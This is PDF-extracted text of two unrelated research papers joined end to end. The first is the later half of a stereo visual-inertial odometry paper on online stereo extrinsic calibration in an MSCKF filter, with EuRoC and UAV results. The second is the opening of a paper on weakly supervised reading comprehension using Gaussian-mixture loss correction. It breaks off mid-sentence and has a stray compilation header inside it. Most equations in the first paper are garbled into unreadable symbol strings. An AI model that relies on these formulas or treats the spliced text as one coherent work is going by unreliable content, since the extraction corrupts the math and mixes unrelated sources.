standard additive error (e.g. x = xG + xC). the extended addi-
tive error of quaternion is defined in [10] (in this paper, qua-
ternion error is defined in frame {I} , see details in [11]) 

q+'" = δ q+'" ⨂ q+K'" ,  δ q+'" = 51	 4
L
θE'" 9
,
                    (4) 

similarly, the extended additive error of rotation matrix is 
defined: 

RN q+'" O = R'" , R'" = (1 − $ θE'" 0×) RS'
"                    (5) 

B. State Propagation 
Similar to EKF state propagation, MSCKF framework 

uses IMU data to propagate states. The difference is state 
augmentation at the moment of new image arrival. As can be 
seen from [1], The time evolution of IMU states are de-
scribed below: 

q+̇(t)'
" =

1
2ΩNω

(t)O q+'" (t) 

ḃ/(t) = nZ/(t) 

v̇"' (t) = a' (t) 

ḃ.(t) = nZ.	(t) 

	 ṗ"' (t) = v"' (t)                                (6) 

where a'  represents the body acceleration in frame {G}. 
ω = $ω\		ω]		ω^0

,
 represents angular velocity of IMU ex-

pressed in frame {I}. And: 

Ω(ω) = _−[ω]× ω
−ω, 0

c , [ω]× = e
0 −ω^ ω]
ω^ 0 −ω\
−ω] ω\ 0

f (7) 

ωg  and ag  are the gyroscope and accelerometer 
measurements separately. Ignored the effects of the planet’s 
rotation, they are given by [1]:  

ωg = ω+ b/ + n/ 

ag = RN q+'" ON a' − g' O + b. + n.                 (8) 

where g'  is gravitational acceleration, expressed in frame 
{G}. Applying Eq. (6) in Eq. (8), continuous dynamic model 
of IMU states can be obtained: 

q+K̇'" = 4
L
Ω(ωi) q+K'" , bK̇/ = 0j×4,  

	 vĠ"' = RN q+K'" O
,aG + g'   

bK̇.(t) = 0j×4,       pĠ" =' vG"'                        (9) 

moreover, aG = ag − bK., ωi = ωg − bK/ , continuous dy-
namic model of IMU error-state is defined by: 

XḂ" = FXB" + Gn"                                (10) 
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where n" = $		n/,		nl/, 		n.,		nl., 0
,

 is the system noise. It 
depends on the IMU noise characteristics. Finally, the ma-
trices F and G that appear in Eq. (10) are given by:  

F =

⎣
⎢
⎢
⎢
⎡ 0j×j
0j×j
0j×j
04p×j

	

Ij×j
0j×j
0j×j
04p×j

	

0j×j
−RN q+K'" O

,[aG]×
−[ωi]×
04p×j

	

0j×j
−RN q+K'" O

,

0j×j
04p×j

	

0j×j
0j×j
−Ij×j
04p×j

	

0j×q
0j×q
0j×q
04p×q⎦

⎥
⎥
⎥
⎤
	

	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 (11)	

G =

⎣
⎢
⎢
⎢
⎢
⎢
⎡ 0j×j
0j×j
−Ij×j
0j×j
0j×j
04L×j

		

0j×j
0j×j
0j×j
0j×j
Ij×j
04L×j

		

0j×j
−RN q+K'" O

,

0j×j
0j×j
0j×j
04L×j

		

Ij×j
0j×j
0j×j
0j×j
0j×j
04L×j⎦

⎥
⎥
⎥
⎥
⎥
⎤

		 	 	 	 	 	 	 	 (12)	

Following Euler integration [4] of Eq. (10), discrete-time 
system matrix is given by:  

Φ = I + Fδt	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 	 (13)	
Moreover, the propagation of covariance is given by: 

	 	 P = ΦPΦ, + (ΦG)Q(ΦG),δt	
In this paper, covariance structure is defined as: 

Px|x = z
P""x|x P"6x|x
P"6x|x

, P66x|x
{	 	 	 	 	 	 	 	 	 	 	 	 	 (14)	

Since the current state of IMU propagation doesn’t 
change the pose of sliding window, we can formulate the 
covariance propagation method: 

Px|4|x = z
P""x|4|x ΦP"6x|x
P"6x|x

,Φ, P66x|x
{	 	 	 	 	 	 	 	 	 (15) 

where, P""x|4|x = ΦP""x|xΦ
, + (ΦG)Q(ΦG),δt , and P"" 

represents covariance of IMU states. P"6 represents covari-
ance of IMU states with respect to pose of cameras. P66 
represents covariance of pose of augmented cameras. 

When a new image arrives, current state of system 
should be augmented (in this paper, we augment the left 
camera state similarly to [2]). Including augmented states, 
the extended states are defined as: 

XSx = 5XS"
,		XS677

,		XS687
,		XS6}7

, 	 ··· 	XS6�7
,9
,
        (15) 

where XS6€7 = 5 q+K'6
7 ,	 pG6€7

' ,9
,
, j = (0,1, … , N)  represents 

the pose of augmented camera C3. It is derived from extrin-
sic parameter E3 and IMU states:  

q+K'6
7 = q+K"6

7 ⨂ q+K'"  
pG67' = pG"' + R( q+K'" ), ∙ pG67"          (16) 

Hence, in Error State Kalman Filter (ESKF [12]) framework, 
error-state of system (including augmented cameras) is de-
fined by: 

XBx = 5XB"
,		XB677

,		XB687
,		XB6}7

, 	 ··· 	XB6�7
,9
,
      (17) 

where, XB6€7 = _ θE'
6€
7
,	 pC6€7
' ,

c
,

, j = (0,… , N − 1)  represents 
the error of jth augmented camera C3. Moreover, augmented 
covariance is defined by:  

Px|x… = zPx|x PL4,

PL4 PLL
{             (18) 

Note that PL4 = JPx|x, PLL = JPx|xJ,are the augmented co-
variance with respect to jth augmented state, and J is the Ja-
cobian of XB6€7 with respect to the error-state vector. 

J = 

‡		0j×jIj×j
		0j×j0j×j

		
RS'6
7

− RS'" ,$ pG67" 0×
		0j×ˆ0j×ˆ

		 Ij×j0j×j
		
0j×j
RS'" , 		

0j×(ˆ‰|ˆ)
0j×(ˆ‰|ˆ)

Š          

(19) 

C. State Update 
Similar to [2], we can formulate the reprojection of fea-

tures from stereo. Different from [2], the extrinsic parame-
ters E4  employed in this paper is calibrated online. 
‹ q+'
6Œ
7
		 p6Œ7
' ç and ‹ q+'

6Œ
8
		 p6Œ8
' ç are ith left and right camera 

pose at the same time instance respectively. Employing the 
stereo extrinsic, the pose of the right camera C4 can be eas-
ily derived in terms of the left camera augmented( e.g. 
q+'6
8 = q+67

68 ⨂ q+'6
7 , p68' = p67' + RN q+'6

7 O
,
∙ p6867 ). The 

reprojection of stereo measurement, zGè
ê in ith pose is defined 

as:  

 zGè
ê =

⎝

⎜⎜
⎛
uGè,3
ê

vGè,3
ê

uGè,4
ê

vGè,4
ê
⎠

⎟⎟
⎞
=

⎝

⎜
⎛

4

S̃€
™Œ
7 0L×L

0L×L
4

S̃€
™Œ
8

⎠

⎟
⎞

⎝

⎜
⎜
⎜
⎛

XSê
6Œ
7

YSê
6Œ
7

XSê
6Œ
8

YSê
6Œ
8

⎠

⎟
⎟
⎟
⎞

      (20) 

Note that _ XSê
6Œ
›
	 XSê
6Œ
›
	 XSê
6Œ
›
c is the coordinate of jth feature in 

frame {Cx} in ith camera pose of sliding window (k=0,1 rep-
resents left and right camera respectively). Measurement 
residual is defined as:  

rè
ê,x = zè

ê,x − zGè
ê,x               (21) 

We can formulate least-squares system to optimize the coor-
dinates of features. See details in [13]. Then, the reprojection 
error of jth feature observation in ith camera pose in sliding 
window is derived as:   

rè
ê,x = zè

ê,x − zGè
ê,x ≈ HŸŒ

ê,xXB + H Œ
ê,x pC'  € + nè

ê,x    (22) 
HŸŒ
ê,3 = $0L×(L¡|ˆ¢)	𝐻𝐻4	0L×ˆ(¤¥¢¥4)0 

HŸŒ
ê,4 = $0L×L4	𝐻𝐻L	0L×ˆ¢	𝐻𝐻j	0L×ˆ(¤¥¢¥4)0 

where, HŸŒ
ê,3  and HŸŒ

ê,4  represents the Jacobian of rè
ê,3  and 

rè
ê,4 with respect to error-state. And 𝐻𝐻4, 𝐻𝐻L, 𝐻𝐻j are de-

rived respectively by: 

𝐻𝐻4 = 	 5𝐽𝐽¢
§,3 5 pG¨©

ª«
7

9
×
			− 𝐽𝐽¢

§,3 RS'
ª«
7
9 

𝐻𝐻L = 	 5𝐽𝐽¢
§,4 5 pG¨©

ª«
8

9
×
	−𝐽𝐽¢

§,4 RS67
68 9 
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𝐻𝐻j = 	 5	𝐽𝐽¢
§,4 RS67
68 5 pG¨©

ª«
7

9
×
	− 𝐽𝐽¢

§,4 RS'
ª«
8
9 

where 𝐽𝐽¢
§,3 and 𝐽𝐽¢

§,4 are defined as： 

𝐽𝐽¢
§,¬ =

1

 ZKê
6Œ
›
¯
L e

ZKê
6Œ
›
					0		 − XSê

6Œ
›

		0					 ZKê
6Œ
›
	− YSê

6Œ
›
	
f , (k = 0,1) 

Similar to original S-MSCKF [2], H Œ
ê  represents the 

Jacobian with respect to the error of feature coordinate. HŸŒ
ê  

represents the Jacobian with respect to error-state. The core 
point in this paper is, different with S-MSCKF, in the Jaco-
bian of reprojection error in right camera with respect to 
error-state, the sub-Jacobian of the reprojection error in right 
camera with respect to the error-state of stereo extrinsic 𝐸𝐸4 
is a non-zero block. It just models the reprojection error with 
respect to 𝐸𝐸4. During state update, the 𝐸𝐸4 will be calibrated 
online iteratively. nè

ê represents observation noise of jth fea-
ture in ith pose. We can stack Eq. (22) of all the observations 
with respect to the same feature:  

rê = zê − zGê ≈ HŸ
ê XB + H 

ê pC'  € + n
ê        (23) 

As EKF state variables are formulated regardless of fea-
ture coordinates, we can project Eq. (23) into the left null 
space of H 

ê, and marginalize the formula of feature error 
[14]: 

r²
ê = V,rê = V,(zê − zGê) ≈ V,HŸ

ê XB + n²
ê      (24) 

where, V represents the left null space of H 
ê, n²

ê = V,nê. 
Hence, Eq. (24) becomes the same as standard EKF update, 
and QR decomposition can be employed to accelerate the 
standard EKF update [1]. 

   Similar to original S-MSCKF [2], the Observability 
Constrained EKF [15] is applied in our method for main-
taining the consistency of the filter. And the strategy of fea-
ture update also comes from S-MSCKF. 

D. Vision Frontend 
In our implementation, for efficiency, FAST [16] corners 

are extracted as landmarks. Similar to [2-4], the KLT optical 
flow algorithm [17] is employed in feature matching of front 
and rear frames, as well as left and right frames. In stereo 
matching, essential matrix constraint is used to eliminate 
outliers. Different from [2-4], since stereo extrinsic parame-
ters are calibrated online in this work, the stereo extrinsic 
parameters used in the frontend will also be time-varying. 
Since the initial extrinsic parameters may be inaccurate, the 
outlier rejection algorithm may incorrectly remove inliers 
during the initial phase of system start-up. Therefore, the 
constraint of outlier rejection using essential matrix relation 
should be weakened during the initial period of system 
startup to prevent serious errors. After the system runs for a 
period of time (i.e. 30 seconds in this paper), the essential 
matrix constraint could be set to the normal threshold. 

IV. EXPERIMENTS 

Two experiments are performed to evaluate the proposed 
algorithm. Firstly, we compare our method with 
state-of-the-art stereo VIO [2-4] on EuRoC dataset and a 
large scale dataset. Secondly, another experiment is per-

formed with the stereo extrinsic containing initial noise to 
show the robustness and the validity of the proposed algo-
rithm. All of the following algorithms run on Intel i9-9900k 
(3.6GHZ) desktop platform. 

A. Dataset 
EuRoC dataset is a visual-inertial dataset [18] produced 

by ASL team of ETH. Collected by UAV, the dataset in-
cludes stereo images of 20 FPS and IMU data of 200 Hz. It 
also provides ground truth trajectories from Leica MS50 
lidar and Vicon motion capture system. The dataset consists 
of three scenarios and 11 sequences. Five of them are ran-
domly selected for comparison. 

Our large scale dataset includes 30 Hz stereo images and 
500 Hz IMU collected by Mynteye S1030 camera shown in 
Fig. 2. The cameras is calibrated by Kalibr toolkit [19], and 
the ground truth is collected by 5Hz GPS of UBLOX 
NEO-M8N.  

Our real-world dataset contains two scenes. The first da-
taset is the outdoor flight scene of UAV at 10m, 25m and 
30m altitude. The horizontal trajectory distances are 1km, 
1.1km and 2.1km separately, and the trajectories look like 
rectangles. The second dataset is an outdoor hand-held scene 
with a total distance of 1.5km. Therefore, all sequences are 
from large scale scenes. Fig. 3 shows sample images of the 
self-collected dataset. 

B. RMSE comparison 
RMSE, root mean square error, is a popular measure-

ment to evaluate estimation accuracy. In the experiment, we 
compare proposed method with S-MSCKF and 
VINS-Fusion. The former is also based on MSCFK frame-
work which cannot estimate stereo extrinsic online. The 
latter is an optimization based stereo VIO, which can esti-
mate extrinsic between IMU and every camera. For fairness, 
we turn off the loop closure mode of VINS-Fusion. 

In some cases, as the proposed algorithm has a relatively 
large initial threshold in frontend, we only compare trajecto-
ries after 30s. 

 
Figure 2.  The device we used for our dataset. It contains oblique 
top-down global shutter stereo camera( AR0135, 30Hz) with 752×480 
resolution and it contains a build-in IMU ( ICM20602, 500Hz ). 
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1) In EuRoC dataset 
In Table 1, when the initial stereo extrinsic is normal, 

VINS-Fusion performs the best, and our method performs 
similarly to original S-MSCKF. Although VINS-Fusion has 
higher accuracy, it consumes more computational resource 
because of too many variables optimized at the same time 
(see the detail comparison in [2]), and the average CPU load 
on our machine is about 146%. On the contrary, the pro-
posed method is filter-based. Thus, it has the advantage of 
both high efficiency and lightweight. The average CPU load 
of our method is only about 57%, which is less than 1/2 of 
VINS-Fusion. Our method is similar with S-MSCKF in 
terms of CPU load. 

In Table 2, as expected, benefited from the online stereo 
extrinsic calibration, the estimation results with the initial 
noise in stereo extrinsic of our algorithm and VINS-Fusion 
are not degraded significantly compared with no noise situa-
tions. However, without stereo extrinsic estimation, 
S-MSCKF performs badly or even diverges.  

2) In large scale environment 
In large scale environment, the estimation accuracy of 

proposed method is similar with VINS-Fusion, both of 
which are superior to S-MSCKF. Especially in the handheld 
data (Fig. 4), because there is no stereo baseline estimation, 
the estimated scale of S-MSCKF has a large error. It indi-
cates that in the large scale environment, online stereo ex-
trinsic estimation is crucial for scale estimation. 

Similarly, with stereo extrinsic containing initial noise, 
the proposed algorithm and VINS-Fusion still work well in 
most cases, but S-MSCKF diverges. Hence, the robustness 
of our method is validated. 

C. Stereo extrinsic estimation result 
As can be seen from Table 3, with different perturbations 

to X and Y direction of the initial stereo extrinsic parameters, 
our method can converge to be approximately  the same as 
the off-line calibration results. Specifically, for errors in 
translation in X or Y axis, most of the final errors are limited 
to below 0.5 mm. For errors in any direction of rotation, the 
final error is controlled under 0.1 degree. It should be noted 
that in Z axis of translation, all final errors are around 5 mm, 
including the case with normal initial stereo extrinsic pa-
rameters. An intuitive explanation is that the Z axis of stereo 
camera device is aligned with UAV heading direction in 
EuRoC dataset. Almost all the time UAV moves towards the 
heading direction, which leads to a bigger error in the esti-
mated offset along the depth direction. 

Fig. 5 shows that, with different initial artificial perturba-
tions, the estimated translation in X axis and rotation in yaw 
direction between two cameras change with time. The figure 
shows that in about 30 seconds the estimated translation in X 
axis converges, and in 5 seconds the estimated rotation in 
yaw converges. These results indicate that the proposed al-
gorithm can effectively estimate the stereo extrinsic in a 
timely manner. 

  
(a)                      (b) 

  
(c)                     (d) 

Figure 3.  Sample images of large scale dataset. (a) and (b) are the images 
when the UAV is flying on 30 meters height. (c) and (d) are the images 
when the device is held by hand. 

TABLE I.  RMSE (m) comparison with normal initial stereo extrinsic. 
For EuRoC dataset, only trajectories after 30s were considered. 

Data sequences VINS-Fusion S-MSCKF Our Method 

MH_03 0.080 0.211 0.223 

MH_04 0.110 0.373 0.315 

V1_03 0.129 0.260 0.195 

V2_01 0.079 0.110 0.091 

V2_02 0.035 0.139 0.163 

UAV_10m 2.935 4.417 3.737 

UAV_25m 4.068 4.674 4.768 

UAV_30m 15.976 19.328 13.866 

Hand_Held 14.223 41.969 9.480 

TABLE II.  RMSE (m) comparison with bad initial stereo extrinsic 
(added 2 deg. error in Z axis for rotation and 5mm error in baseline for 
translation). Only trajectories after 30s were considered, as it took time to 
estimate appropriate stereo extrinsic for filter-based method. 

Data sequences VINS-Fusion S-MSCKF Our Method 

MH_03 0.087 - 0.302 

MH_04 0.102 1.659 0.337 

V1_03 0.195 0.585 0.235 

V2_01 0.154 0.724 0.127 

V2_02 0.067 0.454 0.165 

UAV_10m 2.950 - 4.930 

UAV_25m 4.076 - 11.213 

UAV_30m - -  - 

Hand_Held 18.610 - 24.861 
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Figure 4.  The estimated trajectories with good initial stereo extrinsic in 
hand held outdoor environment aligned to Google Map. VINS-Fusion (red), 
S-MSCKF (blue), our method (yellow) and GPS (green). 

V. CONCLUSION 

In this paper, we have presented an approach for online 
estimation of stereo extrinsic parameters based on 
S-MSCKF framework. The key component of our formula-
tion is that the stereo extrinsic parameter 𝐸𝐸4 is explicitly 
included in state variables, and the model between 𝐸𝐸4 error 
and feature reprojection error is formulated. The resulting 
stereo VIO system significantly reduces the dependency on 
accurate offline stereo calibration. At the same time, the 
robustness and accuracy of the system are improved. Based 
on the experiments using EuRoC and real-world datasets, 
our scheme significantly outperforms the original S-MSCKF 
when there are perturbations to camera parameters. Espe-
cially, given inaccurate extrinsic parameters, our method can 
converge to an accurate estimation of extrinsic parameters 
over a few dozens of seconds. Since our method is fil-
ter-based, the computational requirement is much lower than 
those of optimization-based methods (e.g. VINS-Fusion), 
without significantly degrading the accuracy and robustness 
of the algorithm.  

In future work, we will focus on real-time evaluation of 
the certainty of stereo extrinsic parameters. 

 
(a) 

 
(b) 

Figure 5.  With different initial artifical perturbations, estimated baseline 
(translation in X axis) and rotation in yaw between two cameras changing 
with time compared with offline calibration results using V2_02_medium 
data of EuRoC. (a) shows the translation and (b) shows the rotation. 

TABLE III.  Given different artificial initial perturbations, the final 
estimation errors of translation (mm) and rotation (Euler Angles in degree) 
between two cameras compared to the offine calibration ground truth. 
V2_02_medium data sequence of EuRoC is used in this experiment. 

Errors in 
translation -10 mm -7 mm 0 mm +7 mm +10 mm 

X 0.127 0.295 0.547 0.442 0.838 

Y 0.248 -0.026 -0.204 -0.020 -0.040 

Z 5.425 5.720 5.253 5.547 5.554 
Errors in 
rotation -3 deg -1.5 deg 0 deg +1.5 deg +3 deg 

Roll 0.096 0.097 0.093 0.096 0.087 

Pitch -0.078 -0.077 -0.080 -0.080 -0.086 

Yaw 0.027 0.026 0.027 0.025 0.026 
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Abstract

Weakly supervised machine reading comprehension (MRC) task is practical and promising for
its easily available and massive training data, but inevitablely introduces noise. Existing related
methods usually incorporate extra submodels to help filter noise before the noisy data is input to
main models. However, these multistage methods often make training difficult, and the qualities
of submodels are hard to be controlled. In this paper, we first explore and analyze the essential
characteristics of noise from the perspective of loss distribution, and find that in the early stage
of training, noisy samples usually lead to significantly larger loss values than clean ones. Based
on the observation, we propose a hierarchical loss correction strategy to avoid fitting noise and
enhance clean supervision signals, including using an unsupervisedly fitted Gaussian mixture
model to calculate the weight factors for all losses to correct the loss distribution, and employ
a hard bootstrapping loss to modify loss function. Experimental results on different weakly
supervised MRC datasets show that the proposed methods can help improve models significantly.

1 Introduction

Machine reading comprehension (MRC) (Rajpurkar et al., 2016) is a well-known NLP task, and has
made significant progress in recent years (Yu et al., 2018; Devlin et al., 2019; Gong et al., 2020; Yuan et
al., 2020). To learn a well-performed MRC system, large amount of human annotated data is required.
However, human annotation is high-cost in real-world application, and it is hard to control the quality
for some of hard instances. Recent approach (Joshi et al., 2017) utilized a distantly supervised method to
collect the excerpts for answers. It greatly scales up the dataset and reduces the cost, but introduces more
harmful noisy samples inevitably. There are many of approaches proposed to filter noise for question
answering (QA) recently. Lin et al. (2018) and Lee et al. (2019a) adopted a paragraph selector to calculate
confidences of paragraphs to help filter noisy ones before they are input into the main model. Niu et al.
(2020) designed a submodel to generate labels to supervise the training of the selector. Back to MRC,
Lee et al. (2019b) further proposed to generate labels for unlabeled samples, then train an extra Refinery
model to refine the overall labels for multilingual MRC task with limited training data.

Admittedly, these multistage methods have achieved certain improvements, but rely heavily on the se-
lector, retriever or refinery. The qualities of these complementary models are hard to be controlled, and
make training difficult. In fact, we can explore another novel idea that exploits the essential characteris-
tics of noise itself to help alleviate its effect for MRC task. Inspired by the idea of learning with noisy
labels in image classification (Arazo et al., 2019), we explore and find that the loss distribution of weakly
supervised MRC training data has inspiring characteristics. As shown in Figure 1 (a), at the beginning
of training, losses of noisy samples are generally greater than losses of clean samples significantly. And
in Figure 1 (b), during training, the losses of all samples roughly converge into two clusters according to
values. In addition, we have noticed that without correction, noise tends to attract more attention due to

∗Corresponding author: Junfei Liu (liujunfei@pku.edu.cn)
This work is licensed under a Creative Commons Attribution 4.0 International Licence. Licence details: http://
creativecommons.org/licenses/by/4.0/
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the produced larger loss, which causes the model optimized into wrong direction easily. We argue that it
is one of the essential reasons why the performance will be hurt by much noise.

In this paper, our main idea for improving original models is to correct the loss distribution based on
the above findings, which reduces losses of noisy samples thus avoiding fitting noise and pushes models
to pay more attention to the supervision signals from clean data, as shown in Figure 2. Specifically,
instead of modifying the original structures of previous well-performing models, we first choose to fit a
2-component Gaussian mixture model (GMM) to loss distribution unsupervisedly, then infer the proba-
bilities of samples being clean or noisy through the posterior probability provided by GMM. Note that
we have verified in Section 5.2 that the noise recognition accuracy can even exceed 90% by GMM. Based
on the inferred results of GMM, we then automatically produce weight factors for all losses. Specifically,
we assign larger factors to losses that have higher probabilities of being clean samples by GMM, while
assign lowers ones to losses that are more likely to be noisy. Note that in the traditional case without
correction, the weight factors of all losses can be regarded as an uniform distribution. In addition, we
also propose to use the hard bootstrapping loss to replace standard cross-entropy loss to further correct
loss values of the individual samples to further avoid fitting noise.

Our contributions are summarized as: (1) We explore the essential characteristics of noise in weakly
supervised MRC from the perspective of loss distribution, and offer new ideas for this task and other
related NLP tasks in weakly supervised manner; (2) We propose the hierarchical loss correction method
to avoid fitting noise and strengthen the supervision from clean samples, which uses unsupervisedly
fitted GMM to calculate weight factors for correcting loss distribution, and uses hard bootstrapping loss
to modify loss function; (3) We conduct ample experiments on two types of multiple weakly supervised
datasets, and experimental results show that the proposed method can improve models significantly.

2 Preliminaries

2.1 Problem Formulation

The typical machine reading comprehension (MRC) task focuses on learning a model hθ(x) to answer a
question q given the excerpt evidence e derived from excerpt set E . The training set can be formalized
into a set of triple examples D = {(qi, ei, ai)|i = 1, ..., N}, where N is the number of examples in D,
qi = {wqi

1 , w
qi
2 , . . . , w

qi
n } is the question with n tokens, ei = {wei

1 , wei
2 , . . . , wei

m} is the excerpt evidence
with m tokens, ai = {wei

i , wei
i+1, . . . , w

ei
i+s−1} is a substring from ei, and defines the golden answer to

qi. Following Devlin et al. (2018) and Joshi et al. (2017), this task can be formulated as to predict an
answer span, i.e., the start and end indices of answer ai in excerpt ei.

TriviaQA (Joshi et al., 2017) contains a distantly supervised MRC dataset, whose evidences are gath-
ered automatically, with the assumption of distant supervision that the presence of the answer string
in an evidence document implies that the document does answer the question. Formally, in the dis-
tantly supervised MRC task, ei is set to a set of excerpts, and training data is formalized as Dds =
{(qi, {eij}Mj=1, ai)|i = 1, ..., N}, where M is the number of excerpts. Although all excerpts in the set
contain answer strings, there is no guarantee that answers to questions will be derived from the excerpts.
When aligned to standard MRC data, a sample of distant supervised data (qi, {D1

i , D
2
i , . . . , D

M
i }, ai)

can be expanded into M samples in standard format {(qi, D1
i , ai), (qi, D

2
i , ai), . . . , (qi, D

M
i , ai)}. Obvi-

ously this automated operation can easily obtain a large number of training data, but inevitably introduces
a lot of noise, which will hurt the model’s performance.

In this paper, we consider such a more common and general weakly supervised MRC scenario, which
extends from the distantly supervised MRC task (Joshi et al., 2017): in the training set D, both the
excerpts and the answer spans may be noisy. That is, not only do the excerpt ei not guaranteed to provide
the evidence to answer the question qi, but the answer span ai itself is likely to be noise. Anyway, xi ∈ D
is a noisy sample when excerpt evidence ei or answer span ai is noisy. We focus on improving the models
on weakly supervised MRC training data.
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2.2 Empirical Explorations

Typical MRC models usually learn the model parameters θ by minimizing the following loss function:

L = −
N∑
i=1

log(P 1
si) + log(P 2

ei) = −
N∑
i=1

yTi log(P (ai|ei, qi)) = −
N∑
i=1

yTi log(hθ(xi)) (1)

where si and ei of answer ai are the start and end positions in excerpt ei for sample xi. P 1
si and P 2

ei are
the probabilities of the starting and ending position, respectively. yi defines the label of the start and end
indices. hθ(x) defines the softmax probability produced by the model.

Taking Eq. (1) as the loss function, we train MRC models on weakly supervised datasets and record
the entire loss convergence process, and collect all samples’ losses computed by a trained model instance,
as shown in Figure 1. From Figure 1(a), we can find that in the early stages of training, noise samples
usually lead to significantly larger losses than clean samples. And from Figure 1(b), the losses of the
entire dataset can be roughly divided into two clusters, we argue that the cluster with larger mean loss
value corresponds to noisy samples, and conversely the other corresponds to clean samples.

These observations intuitively suggest that we can use a 2-component mixture model to unsupervisedly
fit the overall loss distribution, where two independent components correspond to the loss distributions
caused by noise and clean data, respectively. During training, we can reasonably correct the loss dis-
tribution before the loss back propagation by using the mixture model to infer whether the losses come
from noise or clean data, thereby reducing disturbance from noise and pushing the model to pay more
attention to the supervision signals from clean data. It is worth noting that the entire process does not
use any additional supervision signals, but it gives the model much additional important information.

(a) (b)

Figure 1: Analysis of loss characteristics. (a): Comparison of loss convergence processes when training
on original SQuAD data and noisy SQuAD data with 80% noise; (b): Frequency distribution histogram
of losses obtained by infering all samples of distantly supervised TriviaQA data using a model instance.

3 Methodology

We propose hierarchical loss correction strategy to avoid fitting noise and enhance supervision signals
from clean samples. The overall framework of the proposed methods is shown in Figure 2. We first
model loss by fitting a GMM, then perform loss correction operation before back propagation.

3.1 Modeling Loss

Based on observations in Section 2.2, we can effectively infer whether a sample is more likely to be clean
or noisy by fitting a probability distribution model to the losses of all training data. Intuitively, we argue
that losses corresponding to clean and noisy samples obey two independent probability distributions,
respectively. Therefore, losses of all training samples obey a mixture probability distribution composed
of the above two distributions. We employ the widely used unsupervised GMM to fit the losses, since



1272　>　美团 2020 技术年货

2627

Figure 2: The framework of the proposed methods. Original losses are computed by aligning the predic-
tions with the ground truth. A GMM is fitted to them to give the posterior probabilities to compute the
corrected loss distribution for actual back propagation. original losses are used during pretraining.

loss histogram in Figure 3 shows Gaussian distribution is suitable, which has good mathematical prop-
erties. Specifically, we use 2-component GMM to fit the loss distributions of clean and noisy samples,
respectively. Next, we introduce how to fit GMM to losses unsupervisedly and use it to model noise.

We assume that the observed losses l = {li}Ni=1 can be generated by a GMM θG:

P (l|θG) =
∑K

i=1
αkφ(l|θk) (2)

where θG = (α1, α2, . . . , αK ; θ1, θ2, . . . , θK), θk are parameters of the k-th Gaussian component and αk

are mixing coefficients for the convex combination of each individual probability density function (PDF)
p(l|θk). We employ the Expectation Maximization (EM) algorithm to fit GMM to the observed losses.

Specifically, we define the latent variables γ̂jk to be the posterior probability of the point lj having
been generated by mixture component θk, where j = 1, 2, . . . , N, k = 1, 2, . . . ,K. In the E-step we fix
the parameters αk, θk and update the latent variables using Bayes rule:

γ̂jk = E(γjk|l, θG) = P (γjk = 1|l, θG) =
αkφ(lj |θk)∑K
k=1 αkφ(lj |θk)

(3)

And given fixed γ̂jk, the M-step estimates parameters µ̂k, δ̂k of the Gaussian distribution, and α̂k as:

µ̂k =

∑N
j=1 γ̂jklj∑N
j=1 γ̂jk

; σ̂k =

∑N
j=1 γ̂jk(lj − µk)

2

∑N
j=1 γ̂jk

; α̂k =

∑N
j=1 γ̂jk

N
(4)

Repeat the above calculation until convergence or the iterations exceeds the maximum limitation.
Given a fitted GMM, we can effectively model the losses. Specifically, we calculate the probability of

a sample being clean or noisy through the posterior probability as follows:

p(θk|li) =
p(θk)p(li|θk)

p(li)
(5)

We use the component θk with the smallest mean µk to represent the loss distribution of clean samples.

3.2 Hierarchical Loss Correction

We further consider correcting losses to avoid fitting noise. The correction process includes hierarchical
operations, fine-grained loss function correction and high-level loss distribution correction.

Since standard cross-entropy (CE) in loss Eq. (1) is ill-suited to deal with noisy samples because the
model will exploit wrong knowledge from noisy samples (Zhang et al., 2017), it is replaced with the
hard bootstrapping loss (Reed et al., 2015) to correct the training objective and alleviate the disturbance
of noise, which deals with noisy samples by adding a perception term to CE loss:

Lhard = −
∑N

i=1
(βyi + (1− β)zi)

T )log(hi) (6)
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where zi := [k = argmaxhj , j = 1, . . . , N ], β weights the model prediction zi in the loss function.
Following Reed et al. (2015), we set β = 0.8, ∀i.

We further propose to correct the loss distribution based on the posterior probability by GMM. Gen-
erally, neural MRC models are trained by stochastic gradient descend (SGD) approach, in which losses
directly affect the calculation of gradients, which in turn affect the optimization process, so that samples
with larger losses have more influence. Traditional models trained on clean data try to fit all losses with
the intuition that the under-fitting leads to large losses. But when training on noisy data, we argue large
losses are more likely to be caused by noise and need to be corrected. We correct entire loss distribution
by using GMM to infer the possibilities that samples are clean, and adopting a softmax operation to
assign larger weight factors to the samples with higher probabilities and lower ones to others. The loss
distribution correction operation with weight factors is given as:

Lcorrect =
∑N

i=1

1

Z
e

p(k=kc|lhardi )

T lhardi
(7)

where Z =
∑N

j=1 e
p(k=kc|lhardj )

T is the normalization factor, kc = argmin(θG.means) is the Gaussian
component with the smallest value of mean parameter in GMM model θG, indicating that it is clean
component fitted to the clean data, and T is the temperature parameter.

Algorithm 1: Loss correction process for reading comprehension question answering.

Input: Training epoch number K; training data size N ; train triple samples {xi}Ni=1; GMM
refitting frequency f ; the size of mini-batch b.

initialize MRC model θ;
Pretrain θ with original losses by standard cross entropy;
for k ← 1 to K do

if k % f == 0 then
Compute all losses l of all samples {xi}Ni=1 by Eq. (6);
Fit GMM θG to all losses l using EM algorithm as Eq. (3) and Eq. (4);
kc ← argmin(θG.means) // choosing the Gaussian component with the smallest mean
value to represent the distribution of clean data;

for mini-batch in batches of epoch do
Compute batch losses lhard of the mini-batch samples {xi}bi by Eq. (6);
Compute posterior probabilities {p(k = kc|li)}bi=1 for lhard;
Compute corrected batch losses lchard by Eq. (7);
Loss back propagation from lchard and updata θ;

3.3 Overviews

In summary, the framework of the proposed methods is shown in Figure 2, and we train the improved
moels according to Algorithm 1. In practice, we first pretrain the original model using standard CE.
Then, we compute the bootstrapping losses, and fit a 2-component GMM to these losses using EM
algorithm and record the clean Gaussian component with minimum mean value. In each training step,
we compute batch losses of the batch samples and the probabilities of these samples being clean, then
employ a softmax operation to compute the weight factors to further calculate the corrected losses. At
the end of the step, we do back propagation based on the corrected losses.

4 Experimental Setup

4.1 Datasets

SQuAD. SQuAD (Rajpurkar et al., 2016) is a standard and high-quality MRC dataset. The annotators
were asked to write more than 100,000 questions and select a span of arbitrary length from the given
Wikipedia paragraph to answer the question. In practice, we use the SQuAD v1.1, and randomly select
a certain percentage of samples to add noise to them. For each noisy sample, we randomly select a
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continuous sequence of tokens from the evidence paragraph to replace the original label. Note that in
